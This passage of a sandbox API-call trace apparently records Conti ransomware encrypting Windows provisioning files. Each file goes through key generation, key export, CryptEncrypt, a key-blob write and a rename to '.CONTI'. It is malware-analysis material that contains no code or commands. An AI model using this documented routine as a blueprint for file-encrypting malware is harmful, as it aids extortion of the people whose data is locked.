	[0114.050] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0114.050] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.050] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.050] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.050] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.050] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b499a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b499a4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.057] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.057] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2d3, lpOverlapped=0x0) returned 1
	[0114.057] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d3, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2e0) returned 1
	[0114.057] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.057] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2e0, lpOverlapped=0x0) returned 1
	[0114.057] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.057] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b49998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b49998*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.057] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.057] CloseHandle (hObject=0x3ac) returned 1
	[0114.058] GetProcessHeap () returned 0x1720000
	[0114.058] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.058] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml"
	[0114.058] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml.CONTI"
	[0114.058] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0114.059] GetProcessHeap () returned 0x1720000
	[0114.059] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.059] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0114.059] GetProcessHeap () returned 0x1720000
	[0114.059] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b55798 | out: hHeap=0x1720000) returned 1
	[0114.059] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.059] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a2c0 | out: phKey=0x6b4a2c0*=0x17c7bf0) returned 1
	[0114.059] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a2c4, pdwDataLen=0x55ffb34 | out: pbData=0x6b4a2c4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.059] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0114.060] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.060] GetLastError () returned 0x0
	[0114.060] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=717) returned 1
	[0114.060] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0114.060] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.060] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.060] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.060] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.060] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4a2c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4a2c4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.067] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.067] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2cd, lpOverlapped=0x0) returned 1
	[0114.067] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2cd, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d0) returned 1
	[0114.067] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.067] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.067] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.067] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4a2b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4a2b8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.067] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.067] CloseHandle (hObject=0x3ac) returned 1
	[0114.067] GetProcessHeap () returned 0x1720000
	[0114.067] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.067] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml"
	[0114.067] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml.CONTI"
	[0114.067] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml.conti")) returned 1
	[0114.068] GetProcessHeap () returned 0x1720000
	[0114.068] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.068] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.068] GetProcessHeap () returned 0x1720000
	[0114.068] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b56468 | out: hHeap=0x1720000) returned 1
	[0114.068] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.068] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b49510 | out: phKey=0x6b49510*=0x17c7bf0) returned 1
	[0114.068] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49514, pdwDataLen=0x55ffb34 | out: pbData=0x6b49514*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.069] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0114.069] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.070] GetLastError () returned 0x0
	[0114.070] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=454) returned 1
	[0114.070] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c6
	[0114.070] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.070] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.083] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.083] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.083] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b49514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b49514*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.085] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.085] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x1c6, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x1c6, lpOverlapped=0x0) returned 1
	[0114.085] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x1c6, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x1d0) returned 1
	[0114.085] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.085] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.085] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.085] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b49508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b49508*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.085] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.085] CloseHandle (hObject=0x3ac) returned 1
	[0114.086] GetProcessHeap () returned 0x1720000
	[0114.086] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.086] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0114.086] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0114.086] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0114.087] GetProcessHeap () returned 0x1720000
	[0114.087] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.087] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.087] GetProcessHeap () returned 0x1720000
	[0114.087] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b546f0 | out: hHeap=0x1720000) returned 1
	[0114.087] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.087] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b49be8 | out: phKey=0x6b49be8*=0x17c7bf0) returned 1
	[0114.087] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49bec, pdwDataLen=0x55ffb34 | out: pbData=0x6b49bec*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.087] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.088] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.088] GetLastError () returned 0x0
	[0114.088] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=715) returned 1
	[0114.088] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0114.088] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.088] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.088] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.088] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.088] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b49bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b49bec*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.090] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.090] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2cb, lpOverlapped=0x0) returned 1
	[0114.090] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2cb, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d0) returned 1
	[0114.090] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.090] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.090] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.090] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b49be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b49be0*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.090] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.091] CloseHandle (hObject=0x3ac) returned 1
	[0114.091] GetProcessHeap () returned 0x1720000
	[0114.091] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.091] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml"
	[0114.091] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml.CONTI"
